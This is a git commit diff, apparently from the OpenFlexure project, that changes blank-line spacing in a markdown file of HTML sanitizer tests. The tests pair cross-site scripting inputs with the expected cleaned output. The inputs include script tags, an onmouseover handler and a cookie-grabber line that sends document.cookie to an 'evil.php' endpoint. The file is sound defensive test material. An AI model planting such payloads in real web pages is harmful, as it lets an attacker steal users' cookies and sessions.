Consistent spacing around MD tests
This commit is contained in:
parent
2e1066477e
commit
84f9fc9aa7
1 changed files with 9 additions and 3 deletions
|
|
@ -11,9 +11,7 @@ Anything not in code blocks is a comment.
|
||||||
This file is run by /tests/unit_tests/test_ui.py
|
This file is run by /tests/unit_tests/test_ui.py
|
||||||
|
|
||||||
## Test scripts removed
|
## Test scripts removed
|
||||||
|
|
||||||
The script is removed but the contents remain.
|
The script is removed but the contents remain.
|
||||||
|
|
||||||
### Input
|
### Input
|
||||||
```html
|
```html
|
||||||
<script>alert("x")</script>
|
<script>alert("x")</script>
|
||||||
|
|
@ -24,8 +22,9 @@ The script is removed but the contents remain.
|
||||||
alert("x")
|
alert("x")
|
||||||
Hello
|
Hello
|
||||||
```
|
```
|
||||||
## Test script in bold tag
|
|
||||||
|
|
||||||
|
|
||||||
|
## Test script in bold tag
|
||||||
### Input
|
### Input
|
||||||
```html
|
```html
|
||||||
<b onmouseover=alert('Wufff!')>click me!</b>
|
<b onmouseover=alert('Wufff!')>click me!</b>
|
||||||
|
|
@ -35,6 +34,7 @@ Hello
|
||||||
<b>click me!</b>
|
<b>click me!</b>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Test script in disallowed tag
|
## Test script in disallowed tag
|
||||||
### Input
|
### Input
|
||||||
```html
|
```html
|
||||||
|
|
@ -44,6 +44,7 @@ Hello
|
||||||
```html
|
```html
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Test cookie grabber script is escaped
|
## Test cookie grabber script is escaped
|
||||||
The script should become escaped and have no tags
|
The script should become escaped and have no tags
|
||||||
### Input
|
### Input
|
||||||
|
|
@ -57,6 +58,7 @@ var adr = '../evil.php?cakemonster=' + escape(document.cookie);
|
||||||
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
|
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Test with non-http links
|
## Test with non-http links
|
||||||
Remove the javascript from the links.
|
Remove the javascript from the links.
|
||||||
### Input
|
### Input
|
||||||
|
|
@ -74,6 +76,7 @@ Remove the javascript from the links.
|
||||||
<a>Relative</a>
|
<a>Relative</a>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Test http links become external
|
## Test http links become external
|
||||||
Remove the javascript from the links.
|
Remove the javascript from the links.
|
||||||
### Input
|
### Input
|
||||||
|
|
@ -85,6 +88,7 @@ Remove the javascript from the links.
|
||||||
<a href="https://openflexure.org" target="_blank" rel="noopener noreferrer">OpenFlexure</a>
|
<a href="https://openflexure.org" target="_blank" rel="noopener noreferrer">OpenFlexure</a>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Test basic formatting preserved
|
## Test basic formatting preserved
|
||||||
Check basic elements are not changed
|
Check basic elements are not changed
|
||||||
### Input
|
### Input
|
||||||
|
|
@ -96,6 +100,7 @@ This is <b>bold</b> <i>italic</i> and on a new <br/> line.
|
||||||
This is <b>bold</b> <i>italic</i> and on a new <br/> line.
|
This is <b>bold</b> <i>italic</i> and on a new <br/> line.
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Test http link with path preserved
|
## Test http link with path preserved
|
||||||
Valid HTTP links should preserve their path.
|
Valid HTTP links should preserve their path.
|
||||||
### Input
|
### Input
|
||||||
|
|
@ -107,6 +112,7 @@ Valid HTTP links should preserve their path.
|
||||||
<a href="https://example.com/docs/page" target="_blank" rel="noopener noreferrer">Docs</a>
|
<a href="https://example.com/docs/page" target="_blank" rel="noopener noreferrer">Docs</a>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Test http link with fragment preserved
|
## Test http link with fragment preserved
|
||||||
Valid HTTP links should preserve their path and fragment.
|
Valid HTTP links should preserve their path and fragment.
|
||||||
### Input
|
### Input
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue